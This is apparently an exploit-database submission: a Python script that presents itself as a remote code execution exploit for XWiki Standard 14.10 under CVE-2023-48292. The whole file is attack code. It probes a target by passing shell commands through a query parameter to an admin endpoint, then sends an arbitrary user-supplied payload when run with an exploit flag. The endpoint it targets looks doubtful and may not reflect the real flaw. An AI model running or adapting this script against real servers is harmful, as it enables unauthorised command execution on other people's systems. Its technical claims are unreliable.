# Exploit Title: CVE-2023-48292 Remote Code Execution Exploit
# Google Dork: N/A
# Date: 23 March 2025
# Exploit Author: Mehran Seifalinia
# Vendor Homepage: https://www.xwiki.org/
# Software Link: https://www.xwiki.org/xwiki/bin/view/Download/
# Version: XWiki Standard 14.10
# Tested on: Ubuntu 20.04 LTS with OpenJDK 11
# CVE : CVE-2023-48292
from argparse import ArgumentParser
import sys
import logging
from requests import get, post, RequestException
import validators
# Constants
CVE_NAME = "CVE-2023-48292"
HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
}
# Configure logging
def setup_logging(logfile):
logger = logging.getLogger()
logger.setLevel(logging.INFO)
# Create a logging handler for console output
console_handler = logging.StreamHandler(sys.stdout)
console_handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
logger.addHandler(console_handler)
# Create a logging handler for file output
file_handler = logging.FileHandler(logfile)
file_handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
logger.addHandler(file_handler)
def validate_url(url):
"""
Validate the URL to ensure it has the correct format and starts with 'http://' or 'https://'.
"""
if not validators.url(url):
logging.error("Invalid target URL format. It must start with 'http://' or 'https://'.")
sys.exit(1)
return url.rstrip("/")
def check_vulnerability(target_url, method):
"""
Check if the target URL is vulnerable to the CVE-2023-48292 vulnerability.
We send a test payload and inspect the response to determine if the vulnerability exists.
"""
try:
# Test payload to check for vulnerability
test_payload = "echo 'testtesttest1234'" # Payload to execute a test command on the target system
vulnerable_url = f"{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={test_payload}"
if method == "GET":
response = get(vulnerable_url, headers=HEADERS)
else: # method == "POST"
response = post(vulnerable_url, headers=HEADERS)
if response.status_code == 200 and "testtesttest1234" in response.text:
logging.info("Target is vulnerable! Command execution test succeeded.")
return True
else:
logging.info("Target does not appear to be vulnerable.")
return False
except RequestException as error:
logging.error(f"HTTP Request Error: {error}")
sys.exit(1)
def perform_attack(target_url, payload, method):
"""
Perform the attack by sending a custom payload to the vulnerable server.
"""
try:
logging.info(f"Attempting attack with payload: {payload}")
vulnerable_url = f"{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={payload}"
if method == "GET":
response = get(vulnerable_url, headers=HEADERS)
else: # method == "POST"
response = post(vulnerable_url, headers=HEADERS)
if response.status_code == 200:
logging.info(f"Attack successful! Response: {response.text[:100]}...") # Display a snippet of the response
else:
logging.warning("Attack attempt failed.")
except RequestException as error:
logging.error(f"HTTP Request Error: {error}")
sys.exit(1)
def main():
"""
Main function to parse command-line arguments, check for vulnerability, and optionally perform the attack.
"""
parser = ArgumentParser(description=f"{CVE_NAME} Exploit Script")
parser.add_argument("target", help="Target URL (e.g., https://vulnsite.com)")
parser.add_argument("--exploit", action="store_true", help="Perform attack with a payload")
parser.add_argument("--payload", default="echo 'testtesttest1234'", help="Custom payload for exploitation")
parser.add_argument("--method", choices=["GET", "POST"], default="GET", help="HTTP method to use (GET or POST)")
parser.add_argument("--logfile", default="exploit.log", help="Log file to store results")
args = parser.parse_args()
# Set up logging to file and console
setup_logging(args.logfile)
# Validate the target URL
target_url = validate_url(args.target)
logging.info("Checking the target for vulnerability...")
if check_vulnerability(target_url, args.method):
if args.exploit:
# Perform the attack with the provided payload
perform_attack(target_url, args.payload, args.method)
else:
logging.info("Run with '--exploit' to attempt the attack.")
else:
logging.warning("The target is not vulnerable. Exiting.")
if __name__ == "__main__":
main()
